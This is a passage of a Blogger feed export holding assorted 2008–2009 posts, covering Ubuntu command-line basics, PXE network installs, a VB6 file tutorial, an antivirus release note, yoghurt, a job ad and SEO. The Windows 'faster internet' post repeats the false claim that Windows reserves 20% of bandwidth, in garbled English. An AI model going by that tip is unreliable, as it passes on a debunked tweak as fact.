of class stability and performance. The images are tuned so that your instances have the maximimum resources available for your applications.&lt;br /&gt;&lt;br /&gt;See Also&lt;br /&gt;&lt;br /&gt;For more information detail, &lt;a href="http://www.ubuntu.com/products/whatisubuntu/serveredition/features/ec2" target="_blank"&gt;click here&lt;/a&gt; &lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-1199819542019782010?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1199819542019782010'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1199819542019782010'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/01/ubuntu-server-on-amazon-beta-programme.html' title='Ubuntu Server on Amazon - Beta programme now open'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-2051303108363161438</id><published>2009-01-22T14:04:00.000+07:00</published><updated>2009-01-22T14:06:04.730+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Use the Command Line</title><content type='html'>Put your mouse down for a second, pop open a terminal window, and fall in love with the shell all over again. &lt;br /&gt;If you are used to Windows or Mac desktops, the command line might seem like a foreign thing to you. Typing commands into a window might seem, well, arcane. But even though Linux has really progressed on the desktop, there's still a lot of power you can wield at the command line. If this is your first time with a terminal, this hack will guide you through some command-line basics.&lt;br /&gt;Throughout this book, you'll find a number of places where you'll need to prefix commands with sudo. The sudo command  allows you to temporarily execute a command with different user privileges and is frequently used when you need to add or remove software from the command line.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;The first step is to launch a terminal. Click Applications Accessories Terminal to start the default GNOME Terminal program.&lt;br /&gt;Navigate the Filesystem&lt;br /&gt;Now that the terminal program is open, you can navigate the filesystem. By default, terminals will open into your home directory, so one thing you might want to do is see what files are currently in your home directory. The ls command displays all the files in the directory you specify (or in the current directory if you don't list a directory):&lt;br /&gt;greenfly@ubuntu:~$ ls&lt;br /&gt;Desktop&lt;br /&gt;greenfly@ubuntu:~$ ls Desktop/&lt;br /&gt;screenshot1.png  screenshot2.png&lt;br /&gt;&lt;br /&gt;The first command lists all of the files in the home directory. In this case, only the Desktop directory exists. The second example lists the contents of the Desktop directory, where there are two screenshot images.&lt;br /&gt;To change to a different directory, use the cd command followed by the directory to change to:&lt;br /&gt;greenfly@ubuntu:~$ cd Desktop/&lt;br /&gt;greenfly@ubuntu:~/Desktop$ ls&lt;br /&gt;screenshot1.png  screenshot2.png&lt;br /&gt;&lt;br /&gt;Notice that the terminal prompt changed in the second line to show that you are currently in the Desktop directory. You can also use the pwd command to see where you currently are:&lt;br /&gt;greenfly@ubuntu:~/Desktop$ pwd&lt;br /&gt;/home/greenfly/Desktop&lt;br /&gt;&lt;br /&gt;The ~ symbol is shorthand in Linux for your user's home directory. If you type cd ~ you will automatically change back to your home directory. It saves you from having to type out cd /home/ username.&lt;br /&gt;Rename and Delete Files and Directories&lt;br /&gt;To create a directory from the command line, type the mkdir command followed by the name of the directory to create:&lt;br /&gt;greenfly@ubuntu:~$ mkdir test&lt;br /&gt;greenfly@ubuntu:~$ ls&lt;br /&gt;Desktop  test&lt;br /&gt;&lt;br /&gt;Use the mv command to move a file or directory to a different directory, or to rename it in its current directory. To rename the test directory you created to testing, you can type:&lt;br /&gt;greenfly@ubuntu:~$ mv test testing&lt;br /&gt;greenfly@ubuntu:~$ ls&lt;br /&gt;Desktop  testing&lt;br /&gt;&lt;br /&gt;If you wanted to move the testing directory inside the Desktop directory, you would just specify the Desktop directory as the second argument:&lt;br /&gt;greenfly@ubuntu:~$ mv testing Desktop/&lt;br /&gt;greenfly@ubuntu:~$ ls Desktop/&lt;br /&gt;screenshot1.png  screenshot2.png  testing&lt;br /&gt;&lt;br /&gt;The rm command removes files, and rmdir removes directories. Just use the commands followed by the files or directories to remove, respectively:&lt;br /&gt;greenfly@ubuntu:~$ rm Desktop/screenshot1.png Desktop/screenshot2.png&lt;br /&gt;greenfly@ubuntu:~$ ls Desktop/&lt;br /&gt;testing&lt;br /&gt;greenfly@ubuntu:~$ rmdir Desktop/testing/&lt;br /&gt;greenfly@ubuntu:~$ ls Desktop/&lt;br /&gt;greenfly@ubuntu:~$&lt;br /&gt;&lt;br /&gt;You can also remove a directory and all files and directories inside of it by running rm -r followed by the name of the directory.&lt;br /&gt;Be careful when you recursively delete a directory with this command that you do in fact want to remove all of the files within. Once removed via the command line, there's no trash bin to retrieve them from.&lt;br /&gt;File Globs and Tab Completion&lt;br /&gt;There are two major time-savers when dealing with long files on the command line: file globs and tab completion. File globs are symbols you can use as wildcards in the place of a filename. You can substitute the ? symbol for any single character in a filename, and * for any number of characters in a filename. For instance, say you had three files: foo, bar, and baz. If you wanted to delete both bar and baz, you would type:&lt;br /&gt;greenfly@ubuntu:$ rm ba?&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;The ? matches both r and the z at the end of the filename. If you wanted to remove all files that started with the letter b, you would type:&lt;br /&gt;greenfly@ubuntu:$ rm b*&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Tab completion is another time-saver on the command line. If you start to type a command and then hit the Tab key, the shell will automatically attempt to complete the name of the command for you. In the case that more than one command matches what you have typed so far, hit Tab an extra time, and you will be shown all of the options that match:&lt;br /&gt;greenfly@ubuntu:~$ gnome-cups-&lt;Tab&gt;&lt;Tab&gt;&lt;br /&gt;gnome-cups-add      gnome-cups-icon     gnome-cups-manager&lt;br /&gt;&lt;br /&gt;Tab completion also works for files and directory names. Just type the first part of the filename and hit Tab, and the shell will fill out the rest for you.&lt;br /&gt;Once you are finished with a terminal, you can close the window like any other window, or, alternatively, you can type exit on the command line.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-2051303108363161438?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/2051303108363161438'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/2051303108363161438'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/01/use-command-line.html' title='Use the Command Line'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-7904306651589157614</id><published>2009-01-22T14:00:00.000+07:00</published><updated>2009-01-22T14:02:29.234+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='AntiVirus'/><title type='text'>PCMAV 1.91</title><content type='html'>Something new on PCMAV 2.0 or PCMAV 1.91 January Version more powerfull antivirus.&lt;br /&gt;Identification database and cleaner of 96 virus lokal/asing/varian newly reported disseminate in Indonesia, 2445 virus along with his variant which circulating many in Indonesia have been recognized in version of 1.91 this by engine internal PCMAV.&lt;br /&gt;Increased cleaner special for virus Hatred. &lt;br /&gt;&lt;br /&gt;Bug fixed floating-point routine Auto Update which is on some conditions cause PCMAV don't detect the existence of update.&lt;br /&gt;Mistake detect ( false alarm) heuristik some programs and script, fixed.&lt;br /&gt;Change some virus names follow the new variant which found.&lt;br /&gt;Some minor bug and improvisasi internal code to ensure that PCMAV Cleaner &amp; PCMAV REALTIME PROTECTOR more than merely antivirus ordinary, bugs fixed.&lt;br /&gt;for information detail or download, &lt;a href="http://soft-download-info.blogspot.com/2009/01/pcmav-january.html" target="_blank"&gt;click here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-7904306651589157614?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7904306651589157614'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7904306651589157614'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/01/pcmav-191.html' title='PCMAV 1.91'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-6850625357968384637</id><published>2009-01-11T21:23:00.002+07:00</published><updated>2011-11-20T17:01:51.402+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Install from a Network Boot Server</title><content type='html'>Boot your computer directly off a network server and install Ubuntu without using a CD. &lt;br /&gt;Most modern computers can search the network for a boot server and load the operating system from it without using a local hard disk. This feature is typically used to boot thin clients that may not contain a hard disk at all, but you can also use it as a clever way to start the Ubuntu installation process without needing an install CD. This hack is perfect if you want to install Ubuntu onto a subnotebook with no CD-ROM drive or need to set up a large number of computers for a cluster, lab, or server farm.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Prepare the PXE Boot Server&lt;br /&gt;The first step is to prepare the PXE boot server that will dish up the Ubuntu install image to your client. The easiest way to set this up is with an existing Linux server you have kicking around.&lt;br /&gt;This boot server stores the install image and provides DHCP and TFTP (trivial FTP) services so that computers on the network can find and load the image when they start up. The whole process is triggered by the client connecting to the DHCP server and receiving special instructions telling it to fetch its boot image from the TFTP server instead of from the local hard disk.&lt;br /&gt;Configure DHCP&lt;br /&gt;If you don't already have a DHCP server on your network, start by installing the dhcp-server package on the machine that will be your PXE Boot server:&lt;br /&gt;$ sudo apt-get install dhcp-server&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Then edit /etc/dhcp3/dhcpd/dhcpd.conf and add a stanza similar to this:&lt;br /&gt;host pxeinstall {&lt;br /&gt;hardware ethernet 00:00:00:00:00:00:00;&lt;br /&gt;filename "pxelinux.0";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Substitute the hardware MAC address of your client's Ethernet card in place of the string of zeros. Strictly speaking, you don't need the hardware line at all, but if you include it, your DHCP server will serve up the boot image only to that specific machine, so you won't need to worry about other random machines picking it up and reinstalling Ubuntu over their existing systems. On the other hand, if you're going to do installs on a lot of machines, you can just leave out that line, and every machine that netboots will be able to run the installer. Once you have updated the config restart the DHCP server:&lt;br /&gt;$ sudo /etc/init.d/dhcpd restart&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Configure TFTP&lt;br /&gt;Install a TFTP server:&lt;br /&gt;$ sudo apt-get install tftpd-hpa&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Check /etc/inetd.conf and make sure it has a line like this:&lt;br /&gt;tftp   dgram   udp     wait    root  /usr/sbin/in.tftpd /usr/sbin/in.tftpd &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-s /var/lib/tftpboot&lt;br /&gt;&lt;br /&gt;Next, restart inetd:&lt;br /&gt;$ sudo /etc/init.d/inetd restart&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now you need to fetch the netboot install image (type the following all on one line):&lt;br /&gt;$ sudo lftp -c "open http://archive.ubuntu.com/ubuntu/dists/dapper/main/installer-i386/current/images/; mirror netboot/"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You will then have a directory called netboot with a number of files in it that need to be placed where the TFTP server can find them. The inetd config line listed earlier shows the path that tftp-hpa uses to store boot imagestypically /var/lib/tftpbootso copy the files there and extract the boot image:&lt;br /&gt;$ sudo cp -a netboot/* /var/lib/tftpboot&lt;br /&gt;$ sudo cd /var/lib/tftpboot&lt;br /&gt;$ sudo tar zxf netboot.tar.gz&lt;br /&gt;&lt;br /&gt;You can even use a Windows machine as the boot server by installing a TFTP package such as Tftpd32 and placing the Ubuntu install image into the TFTP server root directory. Tftpd32 also includes a built-in DHCP server that you can use to specify the name of the install image. You can download Tftpd32 from http://tftpd32.jounin.net/.&lt;br /&gt;Setting up a TFTP server is even easier in Mac OS X because tftp is already installed. Just run:&lt;br /&gt;$ sudo mkdir -p /private/tftpboot; /sbin/service \\&lt;br /&gt;tftp start&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;and put your install image in place. You will, however, need to install and configure a DHCP server yourself unless you're running Mac OS X Server.&lt;br /&gt;Boot the Client&lt;br /&gt;In order to start the install process, your client machine needs to be able to perform a PXE network boot. Most modern machines can do this directly with a BIOS setting, although some older machines may need a special netboot floppy image to start the process.&lt;br /&gt;Start up your client machine, use whatever key sequence is necessary to enter the BIOS setup menu, and locate the setting for boot devices. (The key sequence to enter the BIOS is usually something like F2 or Esc.) Set the first boot device to be PXE Boot, Network Boot, or the equivalent; save and exit the BIOS; and let the machine boot up again&lt;br /&gt;Some computers will display a boot menu when you press F12, so you can choose the boot device on the fly without having to modify your BIOS setting..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This time, your machine should report that it's looking for a DHCP server before it gets to the stage of trying to boot off the hard disk. After being given an IP address, it will report that it's searching for a PXE boot image. A couple of seconds later, you should see the Ubuntu installer splash screen, and after that, the installation can proceed exactly as normalexcept that all packages will be fetched directly from an Ubuntu mirror rather than from a local CD-ROM. &lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com"&gt;Thatcoin.com&lt;/a&gt; ]&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-6850625357968384637?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/6850625357968384637'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/6850625357968384637'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/01/install-from-network-boot-server.html' title='Install from a Network Boot Server'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-5548884869760518761</id><published>2008-12-26T14:58:00.002+07:00</published><updated>2008-12-26T15:03:51.951+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Internet Connection More than Faster in Win XP and Vista</title><content type='html'>Do you know if during the time Windows wear Bandwith we are 20%? To take bandwidth we return and connection quicker do step following :&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Click start, run trus type" gpedit.msc "( Don't wear the sign pluck).&lt;/li&gt;&lt;li&gt;computer configuration - administrative template - click Network.&lt;/li&gt;&lt;li&gt;Click Qos packet scheduler - Double click Limit Reservable Bandwith.&lt;/li&gt;&lt;li&gt;Click ENABLED reservable bandwith and set setting  to 0 ( zero)% after that Klik Apply and Klik OK&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Restart Komputer your.&lt;br /&gt;But all that irrespective also speed koneksi your own. Tips this can quicken koneksi you is if wearing OS Windows XP and Vista.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-5548884869760518761?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5548884869760518761'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5548884869760518761'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2008/12/internet-connection-more-than-faster-in.html' title='Internet Connection More than Faster in Win XP and Vista'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-2520980272381165114</id><published>2008-12-18T23:32:00.001+07:00</published><updated>2008-12-18T23:46:24.730+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='VB / . Net'/><title type='text'>Simple Binary</title><content type='html'>The reader is expected to have read the first part of this tutorial which deals&lt;br /&gt;with sequential files. You can still follow this tutorial without reading Part-I,&lt;br /&gt;but I recommend reading the sequential files tutorial first because I may have mentioned certain things in Part-I which also apply to Binary Files.&lt;br /&gt;&lt;br /&gt;As far as Visual Basic 6 is concerned, there are three modes in which a file can&lt;br /&gt;be accessed.&lt;br /&gt;&lt;br /&gt;1. Text Mode (Sequential Mode)&lt;br /&gt;2. Binary Mode&lt;br /&gt;3. Random Access Mode&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;In the Text Mode, data is ALWAYS written and retrieved as CHARACTERS.&lt;br /&gt;Hence, any number written in this mode will result in the ASCII Value of the&lt;br /&gt;number being stored.&lt;br /&gt;For Example, The Number 17 is stored as two separate characters "1" and "7".&lt;br /&gt;Which means that 17 is stored as [ 49 55 ] and not as [ 17 ].&lt;br /&gt;&lt;br /&gt;In the Binary Mode, everything is written and retrieved as a Number.&lt;br /&gt;Hence, The Number 17 Will be stored as [ 17 ] in this mode and&lt;br /&gt;characters will be represented by their ASCII Value as always.&lt;br /&gt;&lt;br /&gt;One major difference between Text Files and Binary Files is that Text Files&lt;br /&gt;support Sequential Reading and Writing. This means that we cannot read or write&lt;br /&gt;from a particular point in a file. The only way of doing this is to read through&lt;br /&gt;all the other entries until you reach the point where you want to 'actually'&lt;br /&gt;start reading.&lt;br /&gt;&lt;br /&gt;Binary Mode allows us to write and read anywhere in the file. For example we can&lt;br /&gt;read data directly from the 56th Byte of the file, instead of reading all the&lt;br /&gt;bytes one by one till we reach the 56th byte.&lt;br /&gt;&lt;br /&gt;Part-I dealt with Sequential Files, and this one will teach you how to read and&lt;br /&gt;write files in Binary Mode.&lt;br /&gt;&lt;br /&gt;You will often come across the terms "Text Files", "Sequential Files",&lt;br /&gt;"Sequential Mode", "Binary Mode" and "Binary Files" while reading books,&lt;br /&gt;articles or even posts on the internet related to file handling and wonder what&lt;br /&gt;they really mean.&lt;br /&gt;&lt;br /&gt;A file is a set of bytes/records stored together.&lt;br /&gt;&lt;br /&gt;Text Files are files which contain only characters in ASCII or Unicode.&lt;br /&gt;&lt;br /&gt;Sequential Files are files opened in Sequential Mode.&lt;br /&gt;&lt;br /&gt;Sequential Mode refers to any of the modes used for sequential file handling&lt;br /&gt;which are Input, Output and Append.&lt;br /&gt;&lt;br /&gt;Binary Mode refers to the Binary Mode [which you shall learn about as you&lt;br /&gt;progress through this tutorial]&lt;br /&gt;&lt;br /&gt;Binary Files refer to files opened in Binary Mode.&lt;br /&gt;&lt;br /&gt;You should note that Binary Files and Sequential Files are not different kinds&lt;br /&gt;of files but rather different methods of accessing a file.&lt;br /&gt;&lt;br /&gt;Any file can be opened in both sequential and binary modes (obviously not at the&lt;br /&gt;same time wink2.gif ). If it is opened in sequential mode, you will only be able to&lt;br /&gt;access data in the file sequentially. If it's opened in Binary mode, you can&lt;br /&gt;access any byte in the file without reading the previous bytes in the file.&lt;br /&gt;&lt;br /&gt;example :&lt;br /&gt;&lt;br /&gt;1. Add a Command Button with name as Command1 onto a Form&lt;br /&gt;2. Private Sub Command1_Click()&lt;br /&gt;3. Dim f As Long&lt;br /&gt;4. f = FreeFile()&lt;br /&gt;5.&lt;br /&gt;6. Open "c:\test.txt" For Binary As #f&lt;br /&gt;7. Close #f&lt;br /&gt;8. End Sub&lt;br /&gt;&lt;br /&gt;view plainprint?&lt;br /&gt;&lt;br /&gt;1. 'Add a Command Button with name as Command1 onto a Form&lt;br /&gt;2. Private Sub Command1_Click()&lt;br /&gt;3. Dim f As Long&lt;br /&gt;4. f = FreeFile()&lt;br /&gt;5.&lt;br /&gt;6. Open "c:\test.txt" For Binary As #f&lt;br /&gt;7. Close #f&lt;br /&gt;8. End Sub&lt;br /&gt;&lt;br /&gt;As you can see, the FreeFile() function can also be used for binary files.&lt;br /&gt;The Open Statement opens c:\test.txt in Binary Mode and the next statement&lt;br /&gt;closes the file.&lt;br /&gt;&lt;br /&gt;As obvious as it may sound, you need to open a file before using it and close it&lt;br /&gt;when you have finished reading or writing to it. Many programmers forget to add&lt;br /&gt;the Close statement which results in the File Already Open Error, and it can be&lt;br /&gt;a pain to track down the exact location that caused the error when you're&lt;br /&gt;dealing with many files.&lt;br /&gt;&lt;br /&gt;You should note that this snippet does more than open and close a file.&lt;br /&gt;If the test.txt file is not present in C drive, then it creates a blank file&lt;br /&gt;with the same name.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-2520980272381165114?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/2520980272381165114'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/2520980272381165114'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2008/12/simple-binary.html' title='Simple Binary'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-7191653844160074693</id><published>2008-12-17T01:09:00.000+07:00</published><updated>2008-12-17T01:10:20.714+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Food and Beverages'/><category scheme='http://www.blogger.com/atom/ns#' term='Anonymouse'/><category scheme='http://www.blogger.com/atom/ns#' term='Information'/><title type='text'>Yoghurt Culture</title><content type='html'>Yoghurt is made by introducing specific bacteria strains into milk, which is subsequently fermented under controlled temperatures and environmental conditions (inside a bioreactor), especially in industrial production&lt;br /&gt;&lt;splan class="fullpost"&gt;&lt;br /&gt;The bacteria ingest natural milk sugars and release lactic acid as a waste product. The increased acidity causes milk proteins to tangle into a solid mass (curd) in a process called denaturation. The increased acidity (pH=4–5) also prevents the proliferation of potentially pathogenic bacteria. In Australia, to be named yogurt, the product must be made with the bacterial species Streptococcus salivarius subsp. thermophilus and Lactobacillus delbrueckii subsp. bulgaricus. Often these two are co-cultured with other lactic acid bacteria for taste or health effects (See probiotics). These include L. acidophilus, L. casei and Bifidobacterium species. In most countries, a product may be called yoghurt only if live bacteria are present in the final product. In Australia, non-pasteurised yoghurt can be marketed as "live" or containing "live active culture". A small amount of live yoghurt can be used to inoculate a new batch of yoghurt, as the bacteria reproduce and multiply during fermentation. Pasteurised products, which have no living bacteria, are called fermented milk (drink). When yoghurt is pasteurised, even though its main aim is to kill harmful bacteria, it kills large amounts of essential bacteria too, such as Acidophilus, Bifidus and Lactobacillus Rhamnosus (LGG)&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-7191653844160074693?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7191653844160074693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7191653844160074693'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2008/12/yoghurt-culture.html' title='Yoghurt Culture'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-5662642341310726919</id><published>2008-12-17T01:05:00.002+07:00</published><updated>2009-01-27T14:05:17.685+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Vacancy'/><title type='text'>Project Administration Officer</title><content type='html'>Emerio Corporation is a rapidly growing global consulting and IT services company headquartered in Singapore (www.emeriocorp.com) with its focus on Business Intelligence, Infrastructure Solutions, Managed Services, Professional Services, and Software Services.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Since its inception in 1997, Emerio is currently supported by over 1300 employees who serve global customers 24 x 7 out of delivery centers in India, Indonesia, Malaysia, Philippines and Singapore apart from 9 other countries with global offices.&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;In support of our operation in Indonesia as part of Emerio’s strategy to strengthen its presence in Asia, we are looking for young and experienced Professional to fulfill following position:&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Employment Status: 1 year Contract&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Requirements:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;    * Graduate from reputable university with a degree of Management Information Technology / Computer Science with minimum GPA 3.00&lt;br /&gt;    * Has experience as Project Administration for 1 year or at least have handled minimum 2 projects.&lt;br /&gt;    * Has good conceptual in SDLC (Software Development Life Cycle) Process&lt;br /&gt;    * Have good project management skills to manage multiple projects&lt;br /&gt;    * Understand the different areas of IT/Business operations, including process knowledge within the company and propagate the company values.&lt;br /&gt;    * Drive various process improvement ideas to improve efficiency/productivity in the client facing team.&lt;br /&gt;    * Have ambition, determination and good interpersonal skill&lt;br /&gt;    * Good English communication skill both in written and verbal is essential &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Job Description:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;§  Manage and supervising the work of the Information Technology Projects and its activity to reach the targets of the business plan and to manage and control the Information Technology financial control.&lt;br /&gt;&lt;br /&gt;    * Manage the activities and co-ordinates to reach projects target of the information Technology.&lt;br /&gt;    * Review and design procedure to meet the company project regulation and procedure, such as: PDLC and SDLC.&lt;br /&gt;    * Submit a notification to Steering Committee on any deviation and advise Steering Committee for a Project Team Meeting to obtain an explanation.&lt;br /&gt;    * Ensure completeness of project documentation.&lt;br /&gt;    * Make sure that all Service Level Agreements are met&lt;br /&gt;    * Effective management of pipeline, quality and new projects/initiatives&lt;br /&gt;    * Ensure accurate and timely reports are sent to the management on time&lt;br /&gt;    * Build domain knowledge by getting process trained and accredited.&lt;br /&gt;    * Ensure adequate controls in place to meet SLAs and drive team performance&lt;br /&gt;    * Communicate with business partners, teams, key leaders, vendors regarding project status.&lt;br /&gt;    * Communicate technical info with client and 3rd party agents&lt;br /&gt;    * Establish the right checks and balances for effective project control&lt;br /&gt;    * Produce key project deliverables as per client and internal standards.&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Please INDICATE position applied for and your name in the subject column,&lt;br /&gt;e.g., “Position – Your Name”&lt;br /&gt;&lt;br /&gt;And kindly send your comprehensive resume to&lt;br /&gt;&lt;br /&gt;careers.jkt@emeriocorp.com&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-5662642341310726919?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5662642341310726919'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5662642341310726919'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2008/12/project-administration-officer.html' title='Project Administration Officer'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-7167639538385349834</id><published>2008-12-17T01:03:00.000+07:00</published><updated>2008-12-17T01:04:00.081+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SEO'/><title type='text'>Increase Ranking and Website Traffic</title><content type='html'>When you think about , what do you think of first? Which aspects of are important, which are essential, and which ones can you take or leave? You be the judge.&lt;br /&gt;&lt;br /&gt;It is worth cataloguing the basic principles to be enforced to increase website traffic and search engine rankings.&lt;br /&gt;&lt;br /&gt;&lt;splan class="fullpost"&gt;&lt;br /&gt;• Create a site with valuable gratified, products or services.&lt;br /&gt;• Place primary and secondary keywords within the first 25 words in your page content and spread them evenly throughout the 